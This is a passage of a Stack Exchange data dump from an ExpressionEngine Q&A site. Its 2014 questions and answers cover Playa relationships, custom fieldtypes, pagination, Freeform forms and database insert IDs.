  <row Id="24172" PostTypeId="2" ParentId="24170" CreationDate="2014-07-03T13:03:28.160" Score="0" Body="&lt;p&gt;I remember having this issue; I was able to resolve it by copying the file from an older version of EE (replace the version in your installation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not comfortable with that, try switching to a different CP theme -- I recommend Nerdery (&lt;a href=&quot;http://devot-ee.com/add-ons/nerdery&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/nerdery&lt;/a&gt;) -- and see if that fixes the issue?&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2014-07-03T13:03:28.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24173" PostTypeId="1" AcceptedAnswerId="24220" CreationDate="2014-07-03T13:07:28.577" Score="0" ViewCount="130" Body="&lt;p&gt;I'm working on a site which has a series of tours, some of which are related (using playa) for when a tour is available on alternateive dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is I want to display a list of all the tours, but instead of showing the title, link and date for all of them. If a tour has an alternative date/relationship it displays the title once with the alternative dates listed underneath. So it outputs like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tour title 1&lt;br&gt;&#xA;- Date a (links to Tour title 1 page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tour title 2&lt;br&gt;&#xA;- Date b    (links to Tour title 2 page)&lt;br&gt;&#xA;- Date c    (links to Tour title 3 page)&lt;br&gt;&#xA;- Date d (links to Tour title 4 page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tour title 5&lt;br&gt;&#xA;- Date e    (links to Tour title 5 page)&lt;br&gt;&#xA;- Date f    (links to Tour title 6 page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tour title 7    (links to Tour title 7 page)&lt;br&gt;&#xA;- Date g    (links to Tour title 8 page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any one could offer any advice I'd appreciate it.&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give a bit more information about the configuration of the channels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel for each Tour entry called 'tour', that has all the information about the tour, including date, price etc. There are some tours which might run several times a year, but may have different costs, flights etc, (which is why each has to be an entry in it's own right.) Within the 'tour' channel I have a Playa field {alternative_tour_dates} which lists all the tours. This would be used to 'link' the tours with alternative dates to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my template which I want to show all the tours, but with the tours that have multiple dates, rather than displaying each one, it displays the tour that has the earliest date and lists the alternative dates, cost and url of the others.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='tour' disable=&quot;category_fields|member_data&quot; show_future_entries=&quot;yes&quot; orderby=&quot;tour_date_start&quot; sort=&quot;asc&quot; search:tour_type=&quot;tour&quot;}&#xA;                    &amp;lt;div class=&quot;unit3&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;unit1 unitpadding grey overview&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{url_title_path='tours/'}&quot;&amp;gt;&amp;lt;h3&amp;gt;{tour_name}&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;Tour Director: {tour_to_tour_personnel}&amp;lt;a href=&quot;{site_url}tour-directors/{url_title}&quot;&amp;gt;{tour_director_name_first} {tour_director_name_last}&amp;lt;br /&amp;gt;&amp;lt;/a&amp;gt;{/tour_to_tour_personnel}&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;ul&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}tours/{url_title}&quot;&amp;gt;{tour_date_start format=&quot;%j %F&quot;} &amp;amp;ndash; {tour_date_end format=&quot;%j %F %Y&quot;}&amp;lt;/a&amp;gt; &amp;lt;span class=&quot;price&quot;&amp;gt;&amp;amp;pound;{tour_base_price}&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;{alternative_tour_dates}&amp;lt;a href=&quot;{site_url}tours/{url_title}&quot;&amp;gt;{tour_date_start format=&quot;%j %F&quot;} &amp;amp;ndash; {tour_date_end format=&quot;%j %F %Y&quot;}&amp;lt;/a&amp;gt; &amp;lt;span class=&quot;price&quot;&amp;gt;&amp;amp;pound;{tour_base_price}&amp;lt;/span&amp;gt;{/alternative_tour_dates}&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once again thanks for input so far.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="1149" LastEditDate="2014-07-18T12:22:42.917" LastActivityDate="2014-07-18T12:22:42.917" Title="Displaying only one related entry per list" Tags="|playa|relationships|related-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24174" PostTypeId="1" AcceptedAnswerId="24176" CreationDate="2014-07-03T14:00:55.930" Score="0" ViewCount="74" Body="&lt;p&gt;I have created a custom fieldtype that uses a multiselect box. However when I save the entry in the CMS, the following error occurs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'Array' in 'field list'&#xA;&#xA;UPDATE `exp_channel_data` SET `channel_id` = '27', `field_id_108` = Array, `field_id_109`...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I have checked the Multiselect fieldtype within EE and my code looks OK (I think)&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-07-03T14:20:20.537" Title="Why does a multiselect fieldtype custom field result in a DB error" Tags="|custom-fields|fieldtype|channel-fields|multiselect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24175" PostTypeId="2" ParentId="24173" CreationDate="2014-07-03T14:15:53.383" Score="2" Body="&lt;p&gt;Assuming that the alternate dates are related to the &quot;parent&quot; tour via a Playa field in each &quot;alternate&quot; entry (so the alternate dates are &quot;children&quot;), you'd simply do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;tours&quot;}&#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;tours/view&quot;}&quot;&amp;gt;{tour_date}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {exp:playa:children channel=&quot;tours&quot; field=&quot;parent_tour&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;tours/view&quot;}&quot;&amp;gt;{tour_date}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:playa:children}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Your channel and field names will differ obviously.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-07-03T16:13:39.260" LastActivityDate="2014-07-03T16:13:39.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24176" PostTypeId="2" ParentId="24174" CreationDate="2014-07-03T14:20:20.537" Score="1" Body="&lt;p&gt;Since you're using a multiselect element, you're posting an &lt;em&gt;array&lt;/em&gt; of data when the entry is saved. But you can't simply insert an array into the database - you need to turn it into a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your fieldtype's &lt;code&gt;save()&lt;/code&gt; method, you need to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return implode('|', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return json_encode($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you need to turn your data back into an array in &lt;code&gt;replace_tag()&lt;/code&gt; and &lt;code&gt;display_field()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = explode('|', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = json_decode($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-03T14:20:20.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24178" PostTypeId="2" ParentId="622" CreationDate="2014-07-03T15:13:01.103" Score="0" Body="&lt;p&gt;Wrap your error code i.e. &lt;code&gt;{error:field_name}&lt;/code&gt; in a label tag and then style your label tag with some css. This ought to do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label class=&quot;error&quot;&amp;gt;{error:field_name}&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-03T15:13:01.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24182" PostTypeId="1" CreationDate="2014-07-03T16:21:28.707" Score="0" ViewCount="75" Body="&lt;p&gt;I read in the old solspace forums that the the rating module would support the ee variable pairs&#xA;{pagination_links}&#xA;{/pagination_links} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i add them ton the template only the tag {pagination_links} renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know if its supported?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of ee and the ratings module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries collection=&quot;Apartment Reviews&quot; limit=&quot;10&quot; orderby=&quot;rating_date&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;    {rating_paginate}&#xA;        &amp;lt;div class=&quot;paging x&quot;&amp;gt;&#xA;            {pagination_links}&#xA;                {page}&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        {previous_page}&#xA;                            &amp;lt;li class=&quot;prev&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/previous_page}&#xA;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;        &#xA;&#xA;                        {next_page}&#xA;                            &amp;lt;li class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/next_page}&#xA;                {/page}&#xA;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/pagination_links}                             &#xA;        &amp;lt;/div&amp;gt;  &#xA;    {/rating_paginate}&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3018" LastEditorUserId="343" LastEditDate="2014-07-03T18:18:14.430" LastActivityDate="2016-06-13T15:02:54.390" Title="Solspace Ratings Pagination Links Variable Pair" Tags="|solspace|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24183" PostTypeId="1" CreationDate="2014-07-03T18:01:27.740" Score="1" ViewCount="202" Body="&lt;p&gt;I need to know if cartthrob can be set up for the specific use I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ecommerce part of the website will be worldwide, so I need to use multiple currencies on each product (basically USD, GBP and EUR) depending on where the user is connected. Each currency will be paid to its related paypal account (USD account, GBP account and EUR account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure everything is possible with cartthrob. But will it be easy to set it up like this ? Do someone have some feedback on this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3318" LastActivityDate="2019-09-21T09:01:05.210" Title="Can Cartthrob use multiple currencies and multiple paypal accounts?" Tags="|cartthrob|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24184" PostTypeId="2" ParentId="24182" CreationDate="2014-07-03T18:15:37.870" Score="0" Body="&lt;p&gt;It looks like Solspace did not update the pagination class used on Ratings. The same thing happened some time ago with Calendar. The EECMS updated the pagination class, but Calendar was using the CodeIgniter pagination class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, check if you're using the last versions of Rating and EECMS. If you are, contact Solspace and report the issue as a bug.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-03T18:15:37.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24186" PostTypeId="1" CreationDate="2014-07-04T00:41:20.500" Score="0" ViewCount="455" Body="&lt;p&gt;Some of my templates outputs JSON string, which was designed to be consumed by the frontend's JS. However, I also have the need to consume this JSON within my templates. Is there an add-on that I can use that takes a JSON string and converts it to loopable EE data? If not, how can I approach this problem?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-07-06T01:16:39.977" Title="How to use JSON in templates?" Tags="|templates|json|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24187" PostTypeId="1" AcceptedAnswerId="24190" CreationDate="2014-07-04T01:18:34.333" Score="0" ViewCount="61" Body="&lt;p&gt;From within a plugin, is it possible to access a template? I need to do some processing on the resulting output of a template from within the plugin.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-07-06T02:19:34.613" Title="Possible to access templates from plugin?" Tags="|templates|add-on-development|plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24188" PostTypeId="2" ParentId="23980" CreationDate="2014-07-04T02:24:54.693" Score="1" Body="&lt;p&gt;Tag data should be saved to &lt;code&gt;exp_channel_data&lt;/code&gt;, and therefore be searchable. Super Search can search Tags like this. Although I'm not sure for EE's simple_search form, I assume it would also work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the Tag field set as searchable? If not, please set it as searchable in the custom field settings in the EE CP. You may need to re-save the entry so that the data ends up in &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-04T02:24:54.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24189" PostTypeId="2" ParentId="21675" CreationDate="2014-07-04T06:56:51.010" Score="1" Body="&lt;p&gt;This may be a bit too late to be helpful in your situation but in the event someone else runs into a similar scenario, here are a couple things you could try to resolve the 403 error:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Restart apache if you havent done that since setting up the cron job&lt;/li&gt;&#xA;&lt;li&gt;Check to make sure the permissions on the directory or file the cron job uses are correct. &lt;/li&gt;&#xA;&lt;li&gt;Make sure apache has read/write access to the filesystem (its usually the www-data user)&lt;/li&gt;&#xA;&lt;li&gt;Check to make sure your apache conf or vhost have the allow directive set properly for the directory the cron task needs to interact with&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-07-04T06:56:51.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24190" PostTypeId="2" ParentId="24187" CreationDate="2014-07-04T07:05:25.340" Score="1" Body="&lt;p&gt;Using &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagdata&lt;/code&gt; you have access to every element between your plugin tags on the page. You can then do anything with that and return it to the page using &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;parse_variables&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest checking out the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;Template Class docs&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2014-07-04T07:05:25.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24191" PostTypeId="1" AcceptedAnswerId="24192" CreationDate="2014-07-04T07:52:46.767" Score="2" ViewCount="55" Body="&lt;p&gt;Using Active Record in an EE2 project, is there a specific function that retrieves the next available entry id of a record I am going to insert?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have this code to generate the next id before I insert a record into the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;select_max('entry_id');&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('exp_channel_titles');&#xA;$entry_result = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get()-&amp;gt;result_array();&#xA;$entry_id = intval($entry_result[0]['entry_id'] + 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-04T09:33:09.513" Title="Retrieving Next Available Entry ID" Tags="|ee2|entryid|activerecord|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24192" PostTypeId="2" ParentId="24191" CreationDate="2014-07-04T09:27:35.050" Score="1" Body="&lt;p&gt;Why would you want to find out prior to inserting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inserting, you can find out the new entry ID added using...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;insert_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/helpers.html&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;           &amp;lt;your field&amp;gt;       =&amp;gt;  &amp;lt;your value&amp;gt;&#xA;);&#xA;if ( ee()-&amp;gt;db-&amp;gt;insert('exp_channel_titles', $data) ) {&#xA;    $new_entry_id = ee()-&amp;gt;db-&amp;gt;insert_id();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used the super global here, if you're using an old version of EE, then use the legacy &lt;code&gt;$this-&amp;gt;EE&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-07-04T09:33:09.513" LastActivityDate="2014-07-04T09:33:09.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24193" PostTypeId="1" AcceptedAnswerId="24211" CreationDate="2014-07-04T09:36:03.250" Score="0" ViewCount="59" Body="&lt;p&gt;I've just updated the paypal express settings to use the LILVE api/creditials/signature and now the cart button is not working.  I presume this is because the settings are incorrect. Is there anything else that could cause this to happen.  Everything was/is working fine with the sandbox details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I need to do on paypal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &#xA;Dave &lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-07-05T23:12:14.093" Title="Expresso - Cart button not working" Tags="|expresso-store|paypal|2.8|paypal-express-checkout|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24194" PostTypeId="1" CreationDate="2014-07-04T10:24:16.687" Score="0" ViewCount="37" Body="&lt;p&gt;Someone know why Draggable doesn't save new categories order? I use draggable 1.4.2 with ExpressionEngine 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-07-04T10:37:58.923" Title="Draggable doesn't save order" Tags="|categories|sorting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24195" PostTypeId="2" ParentId="24194" CreationDate="2014-07-04T10:37:58.923" Score="1" Body="&lt;p&gt;Stemwinder has fix the bug with URLs in 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/stemwinder/draggable&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stemwinder/draggable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-07-04T10:37:58.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24196" PostTypeId="1" CreationDate="2014-07-04T13:25:51.870" Score="0" ViewCount="40" Body="&lt;p&gt;I am totally lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So pagination is something i have used many times except this time it gives an &quot;This webpage is not available&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i stripped down everything to the minimum and this is the code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;    {exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; }&#xA;        &lt;h2&gt;{title}&lt;/h2&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {paginate}&#xA;    &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;  {/paginate}&#xA;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i remove {pagination} it works perfect, the moment i add pagination it's all gone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it that i'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra module that i have added lately is the publisher , but i'm not sure that is even related. &lt;/p&gt;&#xA;" OwnerUserId="879" LastEditorUserId="879" LastEditDate="2014-07-05T14:05:09.993" LastActivityDate="2014-07-06T01:12:08.437" Title="pagination gets This webpage is not available" Tags="|channel|pagination|get|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24197" PostTypeId="2" ParentId="21145" CreationDate="2014-07-04T13:36:00.150" Score="1" Body="&lt;p&gt;It sounds like all you need to do is apply &lt;code&gt;display: inline;&lt;/code&gt; to both your &lt;code&gt;label&lt;/code&gt; and &lt;code&gt;input&lt;/code&gt; elements. Those elements are &lt;code&gt;inline&lt;/code&gt; by default, so is it possible that you're setting them to &lt;code&gt;block&lt;/code&gt; somewhere else in your stylesheet? Also, check your markup output in Developer Tools or Firebug; are your &lt;code&gt;label&lt;/code&gt; and &lt;code&gt;input&lt;/code&gt; wrapped in a block-level element?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, I did something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if composer:field_type == 'checkbox_group'}&#xA;    {freeform:field:{composer:field_name}&#xA;        attr:class=&quot;control--checkbox-group&quot;&#xA;        wrapper_open=&quot;&amp;lt;div&amp;gt;&quot;&#xA;        wrapper_close=&quot;&amp;lt;/div&amp;gt;&quot;&#xA;        row_wrapper_open=&quot;&amp;lt;div&amp;gt;&quot;&#xA;        row_wrapper_close=&quot;&amp;lt;/div&amp;gt;&quot;&#xA;        input_wrapper_open=&quot;&quot;&#xA;        input_wrapper_close=&quot;&quot;&#xA;    }&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The markup looks like this: &lt;a href=&quot;http://cl.ly/image/1w1o1f1P1X2N&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1w1o1f1P1X2N&lt;/a&gt;; and then I used the class &lt;code&gt;control--checkbox-group&lt;/code&gt; to style and format the controls.&lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2014-07-04T13:36:00.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24198" PostTypeId="2" ParentId="13124" CreationDate="2014-07-04T13:43:19.990" Score="1" Body="&lt;p&gt;This snippet should do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if composer:field_type == 'checkbox'}&#xA;    &amp;lt;label{if composer:field_name != ''} for=&quot;freeform_{composer:field_name}&quot;{/if} class=&quot;checkbox-inline&quot;&amp;gt;&#xA;        {if composer:field_required}&#xA;            {freeform:field:{composer:field_name} attr:required=&quot;required&quot;}&#xA;        {if:else}&#xA;            {freeform:field:{composer:field_name}}&#xA;        {/if}&#xA;        {composer:field_label}{if composer:field_required}&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;    &amp;lt;/label&amp;gt;&#xA;{if:else}&#xA;    {if composer:field_required}&#xA;        {freeform:field:{composer:field_name} attr:required=&quot;required&quot;}&#xA;    {if:else}&#xA;        {composer:field_output}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2014-07-04T13:43:19.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24199" PostTypeId="1" AcceptedAnswerId="24202" CreationDate="2014-07-04T14:34:21.903" Score="0" ViewCount="45" Body="&lt;p&gt;I am trying to map the member fields of EE2 to the zoo visitor fields to display the user's previously registered shipping and billing details and I am using the value '&lt;code&gt;{visitor:global:shipping_phone}&lt;/code&gt;' to retrieve the values, but the value of the phone field is showing the actual text '&lt;code&gt;{visitor:global:shipping_phone}&lt;/code&gt;'. I am wrapping my form fields with the '&lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt;' tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also mapped the two fields in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else am I missing?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="422" LastEditDate="2014-07-04T17:35:18.900" LastActivityDate="2014-07-04T17:35:18.900" Title="Zoo Visitor Fields Displaying Tag Instead Of Member Data" Tags="|ee2|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24200" PostTypeId="1" AcceptedAnswerId="24209" CreationDate="2014-07-04T16:33:28.210" Score="0" ViewCount="89" Body="&lt;p&gt;I'm using a playa tag pair to display some related information. But would like to include a field from a different channel entry in the middle of the tag pair. I tried closing the play tag par before the field and then opening it up afterwards and continuing the loop, but this didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone offer any advice?&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code, (the {tour_director_tour_specific_text} field is from the 'tour' channel not the playa related fields)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='tour' disable=&quot;category_fields|member_data|pagination&quot; dynamic=&quot;yes&quot;}&#xA;                       {tour_to_tour_personnel}&#xA;                        &amp;lt;div class=&quot;unit1&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;imageLeft&quot;&amp;gt;&#xA;                                &amp;lt;img src=&quot;{site_url}images/general/portrait-andrew-wilson.jpg&quot; alt=&quot;portrait-andrew-wilson&quot; width=&quot;100%&quot; /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;textRight&quot;&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{tour_director_name_first} {tour_director_name_last}{if tour_director_name_qualification}, {/if}{tour_director_name_qualification}.&amp;lt;/p&amp;gt; &#xA;                                &amp;lt;p&amp;gt;{tour_director_tour_specific_text}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p class=&quot;cta&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}tour-directors/{url_title}&quot;&amp;gt;full biography and other tours&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/tour_to_tour_personnel}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="-1" LastEditDate="2014-07-05T19:57:14.023" LastActivityDate="2014-07-05T21:22:33.963" Title="Channel field within a playa tag pair" Tags="|channel-entries|playa|channel-fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24201" PostTypeId="1" AcceptedAnswerId="24203" CreationDate="2014-07-04T17:28:37.610" Score="0" ViewCount="71" Body="&lt;p&gt;No idea if this is possible. I currently have an entry setup, that if an image is uploaded, it will appear at the bottom of the page, in a 'gallery' format below a heading, being: Gallery: Click to enlarge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if the uploaded image is set as a 'cover' image, it will appear at the top right of the page (right of the text) instead of at the bottom (gallery) of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, see code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This appears at the top of the page)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; cover_only=&quot;yes&quot; force_cover=&quot;yes&quot;}&#xA;...my image...&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This appears at the bottom of the page)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if news_image}&#xA;&#xA;&amp;lt;div 